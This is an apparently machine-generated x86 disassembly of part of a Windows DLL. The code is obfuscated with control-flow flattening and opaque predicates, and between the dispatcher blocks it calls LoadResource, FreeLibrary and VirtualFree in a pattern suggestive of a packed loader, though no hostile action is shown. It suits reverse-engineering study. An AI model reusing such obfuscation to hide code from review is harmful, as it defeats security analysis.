xor ch, ah
and ah, al
and cl, dl
or cl, ah
or al, dl
xor al, 1
or al, ch
mov edx, eax
xor dl, cl
mov edx, 0xbc9a361
mov edi, 0x6c505026
cmovne edx, edi
test al, al
mov eax, 0xbc9a361
jmp 0x10008496
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
setne al
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and cl, ah
and dl, al
or dl, cl
or ah, al
mov al, ah
xor al, dl
test ah, ah
mov ecx, 0x5f1dd697
mov edi, 0xfe51a8a
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0x5f1dd697
jmp 0x10008402
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
add eax, 2
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, 0x2ca9bac2
jmp 0x10001308
mov ecx, dword [0x1005c974]
mov eax, ecx
not eax
imul eax, ecx
and al, 1
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x684b1468
mov edi, 0x9997d2c4
cmovne eax, edi
test dl, dl
mov edx, 0x684b1468
cmovne eax, edx
jmp 0x1000550d
mov eax, dword [ebp - 0x7c]
cmp eax, 1
mov eax, 0xe3a16a9
mov ecx, 0x4a7c4ae0
cmove eax, ecx
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x6c800e98
mov edx, eax
and edx, 0x937ff167
or edx, ecx
xor edx, 0x937ff166
and eax, 0xfffffffe
or eax, edx
xor eax, 0xa65f979f
xor eax, 0x59a06860
sete dl
setne ah
cmp dword [0x1005c978], 0xa
setl cl
setge al
mov ch, al
inc ch
and ch, ah
and al, dl
or al, ch
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xf5f9a211
mov edi, 0xddfe9ded
cmovne ecx, edi
test al, al
cmove ecx, edi
test dl, dl
mov eax, 0xf5f9a211
jmp 0x10008402
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xc0805537
and eax, 0x3f7faac8
or eax, edx
xor eax, 0xc0805536
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x1005c978], 0xa
setl cl
xor ah, cl
mov al, dl
xor al, cl
xor ah, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
mov edx, 0x5a8cca2
mov esi, 0x4f8afbad
cmovne edx, esi
test cl, cl
mov ecx, 0x5a8cca2
jmp 0x10008ae4
mov ecx, dword [0x1005c974]
lea eax, [ecx - 1]
imul eax, ecx
and eax, 1
sete ch
cmp dword [0x1005c978], 0xa
setge dh
setl dl
mov cl, dh
xor dh, al
and al, dl
and cl, ch
or cl, al
or dl, ch
xor dl, 1
or dl, dh
mov ch, dl
xor ch, cl
test dl, dl
mov eax, 0x686f6966
mov edx, 0x346e8655
cmovne eax, edx
test cl, cl
cmove eax, edx
test ch, ch
mov ecx, 0x686f6966
cmove eax, ecx
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx - 1]
imul eax, ecx
and eax, 1
sete ch
cmp dword [0x1005c978], 0xa
setl dl
xor al, dl
mov cl, dl
xor cl, ch
xor al, 1
or dl, ch
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
mov eax, 0x54d44f53
mov esi, 0xf728661
cmovne eax, esi
test dl, dl
mov edx, 0x54d44f53
cmovne edx, eax
jmp 0x1000744c
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x6d3d823f
and eax, 0x92c27dc0
or eax, edx
xor eax, 0x92c27dc1
xor ecx, eax
test ecx, eax
setne al
sete cl
cmp dword [0x1005c978], 0xa
setge dl
xor cl, dl
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x32ba380b
mov edi, 0x1a8d0f12
cmovne eax, edi
test cl, cl
cmovne eax, edi
test dl, dl
mov ecx, 0x32ba380b
cmovne eax, ecx
jmp 0x10001308
mov eax, 0x2be39653
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x4cdecf27
and eax, 0xb32130d8
or eax, edx
xor eax, 0x4cdecf26
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
and al, ch
or ch, cl
and dl, cl
or dl, al
mov cl, ch
xor cl, dl
test dl, dl
mov eax, 0xa6c6d06f
mov edi, 0xda097ee9
cmovne eax, edi
mov edx, dword [0x1005c9a4]
test ch, ch
mov ebx, 0xa6c6d06f
cmovne eax, ebx
mov dword [ebp - 0x90], edx
test cl, cl
cmove eax, edi
jmp 0x10001308
mov eax, 0x3b521272
jmp 0x10001308
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x9c]
mov dword [eax], ecx
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
setl dl
xor dl, al
or cl, al
mov ch, dl
xor ch, cl
test cl, cl
mov eax, 0xc805a248
mov edi, 0x80f3c000
cmovne eax, edi
test dl, dl
cmovne eax, edi
test ch, ch
mov ecx, 0xc805a248
cmovne eax, ecx
jmp 0x10001308
mov eax, dword [0x1005c974]
lea edx, [eax + 1]
imul edx, eax
test dl, 1
sete ah
cmp dword [0x1005c978], 0xa
setl al
setge ch
and ch, ah
mov cl, al
and cl, dl
or cl, ch
mov edx, eax
xor dl, ah
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
mov edx, 0x5e957621
mov esi, 0x84198324
cmovne edx, esi
test al, al
mov eax, 0x5e957621
jmp 0x10008496
push dword [ebp - 0xa4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xcfe2018
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x1005c978], 0xa
setge cl
setl dl
xor dl, al
or cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x584fa680
mov esi, 0x5c1a3605
cmovne ecx, esi
test dl, dl
cmovne ecx, esi
test al, al
mov eax, 0x584fa680
jmp 0x10007ac2
cmp byte [ebp - 0x64], 0
mov eax, 0x342358f0
mov ecx, 0x26da3b0d
cmovne eax, ecx
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfff79134
and eax, 0x86ecb
or eax, edx
xor eax, 0x86eca
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
mov edi, 0x2ae9b7f4
mov esi, 0x8cb78fb6
jmp 0x10007750
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xcb37cd99
and eax, 0x34c83266
or eax, edx
mov edx, dword [0x1005c9a4]
xor eax, 0x34c83267
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
mov dword [ebp - 0xa4], edx
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
mov ecx, 0x44c19f8a
mov edi, 0x8b6ed133
cmovne ecx, edi
test dl, dl
mov edx, ecx
mov edi, 0x44c19f8a
jmp 0x10008570
mov eax, 0x44066535
jmp 0x10001308
mov eax, dword [ebp - 0x20]
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xaed7c85
mov edx, eax
and edx, 0xf512837a
or edx, ecx
xor edx, 0xf512837b
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x1005c978], 0xa
setge ch
setl cl
mov al, ch
xor ch, ah
and ah, cl
and al, dl
or al, ah
or cl, dl
xor cl, 1
or cl, ch
mov edx, ecx
xor dl, al
mov edx, 0xe5ce59f4
mov edi, 0x67c5f14
cmovne edx, edi
test cl, cl
mov ecx, 0xe5ce59f4
jmp 0x10008ae4
mov eax, dword [0x1005c974]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
mov eax, edx
xor al, cl
mov edi, 0xdb54d751
mov eax, 0xb82d6337
cmovne edi, eax
test cl, cl
mov eax, 0xdb54d751
jmp 0x10008991
mov eax, dword [0x1005c974]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0x5e84cad6
mov edi, 0xf3ae30ef
cmovne eax, edi
test cl, cl
mov ecx, eax
mov edi, 0x5e84cad6
jmp 0x10006f69
mov eax, 0x397492ac
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
not al
or al, 0xfe
cmp al, 0xff
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x502f0c1b
mov esi, 0x92618e64
cmovne edx, esi
test al, al
mov eax, edx
mov esi, 0x502f0c1b
jmp 0x10006b5a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add ecx, 0x34
mov edx, dword [ebp - 0x4c]
mov edx, dword [edx]
mov edx, dword [edx + 0x14]
add edx, 0xfffffff4
push edx
push ecx
push dword [eax]
call fcn.1004b180
add esp, 0xc
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x2c]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
push dword [ebp - 0x48]
push dword [eax]
push dword [ecx]
call fcn.100387c6
add esp, 0xc
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edi, dword [eax + 0x30]
mov eax, edi
not eax
mov ecx, eax
mov esi, 0x60d4980e
and ecx, esi
and edi, 0x9f2b67f1
or edi, ecx
mov ecx, edx
xor ecx, esi
xor ecx, edi
and ecx, edx
or eax, edx
mov edx, ecx
not edx
mov edi, edx
and edi, 0x1d59db60
mov esi, 0xe2a6249f
and ecx, esi
or ecx, edi
or edx, eax
xor eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, dword [ebp - 0x58]
mov dword [eax], edx
mov eax, dword [0x1005c974]
lea edx, [eax + 1]
imul edx, eax
test dl, 1
sete ah
cmp dword [0x1005c978], 0xa
setge al
setl cl
and dl, cl
and al, ah
or al, dl
mov edx, ecx
xor dl, ah
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
mov edx, 0x8d00d340
mov edi, 0xffbcf2d5
cmovne edx, edi
test cl, cl
mov ecx, 0x8d00d340
jmp 0x10008ae4
mov eax, dword [ebp - 0x10]
not eax
or eax, 0xfffffffd
cmp eax, 0xffffffff
setne byte [ebp - 0x65]
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete cl
setne dl
cmp dword [0x1005c978], 0xa
setge ah
setl ch
mov al, ch
xor al, dl
and al, ch
and ah, cl
and ch, dl
or ch, ah
mov cl, al
xor cl, ch
mov edx, 0x112d68b
mov edi, 0x914d2b45
cmovne edx, edi
test ch, ch
mov ecx, edx
cmovne ecx, edi
jmp 0x10008ae7
mov eax, 0x9fa0b65a
jmp 0x10001308
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [0x1005c9d8], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [0x1005c974]
lea edx, [ecx + 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x75bcd7f5
mov edi, ecx
and edi, 0x8a43280a
or edi, edx
mov eax, dword [eax]
xor edi, 0x8a43280b
and ecx, 0xfffffffe
or ecx, edi
xor ecx, 0xdede93ac
xor ecx, 0x21216c53
sete cl
setne dl
cmp dword [0x1005c978], 0xa
setl ch
xor dl, ch
mov dh, ch
xor dh, cl
xor dl, 1
or ch, cl
xor ch, 1
or ch, dl
mov cl, ch
xor cl, dh
test ch, ch
mov edi, 0x43182373
mov ebx, 0xcc4c029
cmovne edi, ebx
mov dword [0x1005c9dc], eax
test dh, dh
cmove edi, ebx
test cl, cl
mov eax, 0x43182373
cmove edi, eax
mov eax, edi
jmp 0x10001308
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [0x1005c9d8], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [0x1005c9dc], eax
mov eax, 0xc34e89c2
jmp 0x10001308
push dword [ebp - 0xa4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x4530a69
mov edx, eax
and edx, 0xfbacf596
or edx, ecx
xor edx, 0xfbacf597
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x1005c978], 0xa
setl al
setge ah
and dl, ah
and al, cl
or al, dl
or ah, cl
mov cl, ah
xor cl, al
mov ecx, 0x19fe9460
mov edx, 0xab9ff229
cmovne ecx, edx
test ah, ah
mov edx, 0x19fe9460
jmp 0x1000816c
mov eax, 0x767fe239
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x2310f0f4
and eax, 0xdcef0f0b
or eax, edx
xor eax, 0x2310f0f5
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0xc9081559
mov edi, 0x66da9266
cmovne eax, edi
test cl, cl
mov ecx, 0xc9081559
jmp 0x100083fd
mov eax, dword [ebp - 0x54]
mov eax, 0x24ea1ee8
jmp 0x10001308
push dword [ebp - 0x40]
push 8
push dword [ebp - 0x34]
push 0x67
call dword [0x1005c8d4]
test eax, eax
setns byte [ebp - 0x63]
mov ecx, dword [0x1005c974]
lea eax, [ecx - 1]
imul eax, ecx
not al
or al, 0xfe
cmp al, 0xff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, eax
xor dl, cl
or cl, al
mov ch, cl
xor ch, dl
test cl, cl
mov eax, 0x533a885a
mov esi, 0xa50b9188
cmovne eax, esi
test dl, dl
cmove eax, esi
test ch, ch
mov ecx, 0x533a885a
cmove eax, ecx
jmp 0x10001308
mov eax, 0x6d28e2f0
jmp 0x10001308
mov eax, dword [ebp - 0x18]
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x397492ac
mov edi, 0x48cccb28
cmovne eax, edi
test cl, cl
mov ecx, 0x397492ac
jmp 0x100083fd
mov eax, 0x5d9d9058
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
or ch, al
xor dl, cl
mov al, ch
xor al, dl
test al, 1
mov edi, 0xc7af8b6d
mov eax, 0x87b23fa6
cmovne edi, eax
test dl, dl
mov eax, edi
mov edx, 0xc7af8b6d
cmovne eax, edx
test ch, 1
cmovne eax, edi
jmp 0x10001308
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x30]
push dword [eax]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
cmp dword [eax], 0
setne byte [ebp - 0x66]
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x5ddcd82c
mov edx, eax
and edx, 0xa22327d3
or edx, ecx
xor edx, 0xa22327d2
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x99b87b07
mov edi, 0x48455fec
cmovne eax, edi
test cl, cl
mov ecx, 0x99b87b07
jmp 0x100083fd
mov eax, 0x6e7308c0
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x170b64f2
and eax, 0xe8f49b0d
or eax, edx
xor eax, 0xe8f49b0c
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x22b16cd8
mov edi, 0xa4be11f
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0x22b16cd8
jmp 0x10008402
mov eax, 0x6cd25ad6
jmp 0x10001308
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov eax, 0x99f1ed88
jmp 0x10001308
mov eax, dword [ebp - 0x14]
mov eax, dword [0x1005c974]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
mov eax, ecx
xor al, dl
mov eax, 0xef6adef6
mov edi, 0x2c9d13ae
cmovne eax, edi
test cl, cl
mov ecx, 0xef6adef6
jmp 0x100083fd
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
inc ecx
mov edx, dword [0x1005c974]
lea eax, [edx - 1]
imul eax, edx
not al
or al, 0xfe
cmp al, 0xff
setne al
cmp dword [0x1005c978], 0xa
setge dl
setl dh
xor dh, al
or dl, al
mov al, dh
xor al, dl
mov edi, 0xeac1da57
mov eax, 0x998605ab
cmovne edi, eax
test dl, dl
cmovne eax, edi
mov dword [ebp - 0x9c], ecx
test dh, dh
cmovne eax, edi
jmp 0x10001308
mov eax, 0x9d8baea5
jmp 0x10001308
mov eax, dword [ebp - 0x34]
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1d627983
mov edx, eax
and edx, 0xe29d867c
or edx, ecx
xor edx, 0xe29d867d
and eax, 0xfffffffe
or eax, edx
xor eax, 0x2878abed
xor eax, 0xd7875412
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
and ch, ah
and dl, al
and ah, cl
or ah, dl
mov cl, ch
xor cl, ah
test ah, ah
mov eax, 0x821ea8cb
mov esi, 0x1cc4e92d
cmovne eax, esi
test ch, ch
mov edx, 0x821ea8cb
cmove eax, edx
jmp 0x10007627
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x6e61f1ae
and eax, 0x919e0e51
or eax, edx
xor eax, 0x919e0e50
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
and ch, ah
and dl, al
and ah, cl
or ah, dl
mov al, ah
xor al, ch
test ah, ah
mov edx, 0x339a501d
mov esi, 0xe5ef747c
cmovne edx, esi
test ch, ch
mov ecx, 0x339a501d
jmp 0x10006412
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, 0xcbf98a97
jmp 0x10001308
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x34]
mov dword [eax], 8
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], ecx
mov eax, 0x1cc4e92d
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xf048e49d
mov edx, eax
and edx, 0xfb71b62
or edx, ecx
xor edx, 0xfb71b63
and eax, 0xfffffffe
or eax, edx
xor eax, 0xd68641d6
xor eax, 0x2979be29
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
or ah, cl
xor dl, al
mov al, ah
xor al, dl
mov ecx, 0x8e414727
mov edi, 0x112d68b
cmovne ecx, edi
test dl, dl
mov edx, ecx
mov edi, 0x8e414727
jmp 0x10008570
push 0x8000
push 0
push dword [ebp - 0x94]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x5319f607
mov edx, eax
and edx, 0xace609f8
or edx, ecx
xor edx, 0xace609f9
and eax, 0xfffffffe
or eax, edx
xor eax, 0x424ee039
xor eax, 0xbdb11fc6
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
mov ecx, 0x5a907553
mov edi, 0x66da9266
cmovne ecx, edi
test dl, dl
mov edx, ecx
mov edi, 0x5a907553
jmp 0x10008570
mov eax, dword [0x1005c974]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, eax
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
mov eax, 0x650a7180
mov edi, 0x48455fec
cmovne eax, edi
test cl, cl
mov ecx, 0x650a7180
jmp 0x100083fd
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0x905925b9
mov edi, 0xa4be11f
cmovne eax, edi
test cl, cl
mov ecx, eax
mov edi, 0x905925b9
cmovne ecx, edi
test dl, dl
cmovne ecx, eax
mov eax, ecx
jmp 0x10001308
mov eax, 0xb3dce6f9
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xb5f53634
mov edx, eax
and edx, 0x4a0ac9cb
or edx, ecx
xor edx, 0x4a0ac9ca
and eax, 0xfffffffe
or eax, edx
xor eax, 0xc44eaa9c
xor eax, 0x3bb15563
setne al
sete dl
cmp dword [0x1005c978], 0xa
setl cl
setge ah
and dl, ah
and cl, al
or cl, dl
or ah, al
mov al, ah
xor al, cl
mov edx, 0x7393304f
mov esi, 0x54a3742e
cmovne edx, esi
test ah, ah
mov eax, 0x7393304f
jmp 0x10008496
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne dl
cmp dword [0x1005c978], 0xa
setge ah
setl ch
mov cl, ch
xor cl, dl
and cl, ch
and ah, al
and ch, dl
or ch, ah
mov eax, ecx
xor al, ch
mov edx, 0xe711bf91
mov edi, 0x7821d726
cmovne edx, edi
test ch, ch
mov eax, edx
jmp 0x10007a6a
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
and cl, ch
or ch, al
and dl, al
or dl, cl
mov al, ch
xor al, dl
test dl, dl
mov edx, 0x1859d22e
mov edi, 0x31b4e78b
cmovne edx, edi
test ch, 1
mov ecx, 0x1859d22e
cmovne edx, ecx
test al, 1
cmove edx, edi
mov eax, edx
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xd1edce27
mov edx, eax
and edx, 0x2e1231d8
or edx, ecx
xor edx, 0x2e1231d9
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0xde4c04d6
mov esi, 0xaad3495a
cmovne eax, esi
test cl, cl
mov ecx, 0xde4c04d6
cmove eax, ecx
test dl, dl
cmove eax, esi
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
xor cl, dl
mov ch, al
xor ch, dl
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov cl, dl
xor cl, ch
test dl, dl
mov eax, 0x4bf67b70
mov edx, 0xf4294b94
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, cl
mov ecx, 0x4bf67b70
cmove eax, ecx
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x94363b3a
and eax, 0x6bc9c4c5
or eax, edx
xor eax, 0x94363b3b
or eax, ecx
xor eax, 0xffffffff
setne al
sete dl
cmp dword [0x1005c978], 0xa
setl cl
setge ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
mov edx, 0xc477749b
mov edi, 0x6084c8eb
cmovne edx, edi
test cl, cl
mov ecx, 0xc477749b
jmp 0x10008ae4
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0xddfcaf88
jmp 0x10001308
mov eax, 0xae1da7fd
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x7a300372
mov edx, eax
and edx, 0x85cffc8d
or edx, ecx
xor edx, 0x85cffc8c
and eax, 0xfffffffe
or eax, edx
xor eax, 0x32a26f4
xor eax, 0xfcd5d90b
setne al
sete dl
cmp dword [0x1005c978], 0xa
setl cl
setge ah
and dl, ah
and cl, al
or cl, dl
or ah, al
mov al, ah
xor al, cl
mov edx, 0x8891d764
mov edi, 0x9181e772
cmovne edx, edi
test ah, ah
mov eax, 0x8891d764
jmp 0x10008496
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
and ch, ah
and dl, al
and ah, cl
or ah, dl
mov al, ch
xor al, ah
test ah, ah
mov edx, 0x8e694b2a
mov esi, 0x60d20528
cmovne edx, esi
test ch, ch
mov ecx, 0x8e694b2a
cmove edx, ecx
test al, al
cmovne edx, esi
mov eax, edx
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x4317fea5
mov edx, eax
and edx, 0xbce8015a
or edx, ecx
xor edx, 0xbce8015b
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
or ah, cl
xor dl, al
mov al, ah
xor al, dl
mov ecx, 0x6cd25ad6
mov esi, 0xb267973f
cmovne ecx, esi
test dl, dl
mov edx, ecx
mov esi, 0x6cd25ad6
jmp 0x10008c3d
mov eax, dword [ebp - 0x34]
mov eax, 0xa6d135f1
jmp 0x10001308
